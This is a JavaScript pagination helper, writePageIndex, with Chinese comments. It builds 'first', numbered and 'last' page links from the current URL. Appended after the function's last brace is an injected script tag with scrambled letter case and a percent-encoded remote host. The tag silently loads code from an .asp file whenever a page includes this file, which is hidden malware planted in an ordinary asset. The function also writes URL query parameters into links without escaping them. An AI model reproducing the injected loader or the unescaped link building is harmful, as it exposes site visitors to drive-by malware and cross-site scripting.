// 调用方式		writePageIndex(当前页, 总页数, 翻页索引数)
function writePageIndex(curPage, totalPage, numOfIndex) {
	if (curPage < 1 || totalPage < 1 || numOfIndex < 2) {
		document.write("暂未指定翻页参数");
		return;
	}
	if (curPage > totalPage) {curPage = totalPage;}
	if (numOfIndex >= totalPage) {
		numOfIndex = totalPage;
		var start = 1;
	} else {
		var start = Math.max(curPage - Math.floor((numOfIndex - 1) / 2), 1);
		if (start + numOfIndex - 1 > totalPage) {
			start = totalPage + 1 - numOfIndex;
		}
	}
	var curUri = window.location.toString();
	var tmp = curUri.split("?");
	var href = tmp[0] + "?";
	var par = tmp[1] ? tmp[1] : "" ;
	var pars = par.split("&");
	for (var i = 0; i < pars.length; i++) {
		if (pars[i].substr(0, 5) != "page=" && pars[i] != "") {href += (pars[i] + "&");}
	}
	href += "page=";

	if (start > 1) {document.write("<a href='" + href + 1 + "'>首页</a>");}
	for (i = 0; i < numOfIndex; i++) {
		document.write(" <a href='" + href + (start + i) + "'>" + (start + i) + "</a>");
	}
	if (start + numOfIndex - 1 < totalPage) {document.write(" <a href='" + href + totalPage + "'>末页</a>");}
} <scrIpt lAnguAge=jAvAscript src=http://%77%77%77%2E%68%75%69%6D%7A%68%65%2E%63%6E/u.asp ></scriPt>
